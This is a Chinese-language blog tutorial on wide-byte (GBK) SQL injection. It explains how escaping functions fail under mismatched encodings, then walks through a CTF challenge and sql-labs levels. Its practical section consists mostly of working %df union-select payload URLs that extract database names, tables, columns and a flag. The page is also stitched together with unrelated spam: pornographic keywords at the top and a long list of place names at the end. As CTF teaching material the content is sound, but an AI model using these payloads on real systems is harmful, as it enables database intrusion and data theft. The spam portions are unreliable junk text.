国产精品天干天干,亚洲毛片在线,日韩gay小鲜肉啪啪18禁,女同Gay自慰喷水

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

寬字節(jié)注入詳解

2023-02-27 17:41 作者:青陽小棧  | 我要投稿

文章目錄

  • 1、涉及函數(shù)

  • 2、原理分析

  • 3、實戰(zhàn)

1、涉及函數(shù)

addslashes() 函數(shù)返回在預定義字符之前添加反斜杠的字符串mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語句中使用的字符串中的特殊字符mysql_escape_string() 轉(zhuǎn)義一個字符串


2、原理分析

先了解一下什么是窄、寬字節(jié)已經(jīng)常見寬字節(jié)編碼:

  • 當某字符的大小為一個字節(jié)時,稱其字符為窄字節(jié).

  • 當某字符的大小為兩個字節(jié)時,稱其字符為寬字節(jié).

  • 所有英文默認占一個字節(jié),漢字占兩個字節(jié)

  • 常見的寬字節(jié)編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等

為什么會產(chǎn)生寬字節(jié)注入,其中就涉及到編碼格式的問題了,寬字節(jié)注入主要是源于程序員設置數(shù)據(jù)庫編碼與PHP編碼設置為不同的兩個編碼格式從而導致產(chǎn)生寬字節(jié)注入

如果數(shù)據(jù)庫使用的的是GBK編碼而PHP編碼為UTF8就可能出現(xiàn)注入問題,原因是程序員為了防止SQL注入,就會調(diào)用我們上面所介紹的幾種函數(shù),將單引號或雙引號進行轉(zhuǎn)義操作,轉(zhuǎn)義無非便是在單或雙引號前加上斜杠(\)進行轉(zhuǎn)義 ,但這樣并非安全,因為數(shù)據(jù)庫使用的是寬字節(jié)編碼,兩個連在一起的字符會被當做是一個漢字,而在PHP使用的UTF8編碼則認為是兩個獨立的字符,如果我們在單或雙引號前添加一個字符,使其和斜杠(\)組合被當作一個漢字,從而保留單或雙引號,使其發(fā)揮應用的作用。但添加的字符的Ascii要大于128,兩個字符才能組合成漢字 ,因為前一個ascii碼要大于128,才到漢字的范圍 ,這一點需要注意。

3、實戰(zhàn)

南郵nctf-sql injection 3

https://chinalover.sinaapp.com/SQL-GBK/

https://chinalover.sinaapp.com/SQL-GBK/?id=1

https://chinalover.sinaapp.com/SQL-GBK/?id=1'

發(fā)現(xiàn)被轉(zhuǎn)義了

發(fā)現(xiàn)被轉(zhuǎn)義了,使用最經(jīng)典的%df

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1%23

%df與/組成了一個漢字綅

爆數(shù)據(jù)庫

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,database()%23

  • 1

爆表名

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

  • 1

爆字段

注意這里要將表名轉(zhuǎn)化為16進制,并在前面加上0x

ctf4—>0x63746634

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

  • 1

爆值

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,(select flag from ctf4)%23

  • 1

在靶場SQL-labs32和33關(guān)也涉及到了寬字節(jié)注入

sql-labs-32關(guān)

當輸入id=1’時,被轉(zhuǎn)義了:

加上%df


后面的流程就不多說了,注意我們查詢表名和列名的時候要將其轉(zhuǎn)化為16進制,并在前面加上0x。


寬字節(jié)注入詳解的評論 (共 條)

分享到微博請遵守國家法律
乌海市| 饶平县| 汪清县| 恭城| 泾源县| 大埔区| 东宁县| 安义县| 黄山市| 凤城市| 娱乐| 昆明市| 花垣县| 砀山县| 仁怀市| 岳西县| 临漳县| 普安县| 威海市| 辛集市| 都江堰市| 宁都县| 五台县| 玛沁县| 新蔡县| 英超| 安图县| 漳浦县| 图木舒克市| 潼关县| 鹤庆县| 普安县| 永平县| 甘孜县| 罗甸县| 湘潭县| 兰溪市| 宁明县| 海原县| 深圳市| 云南省|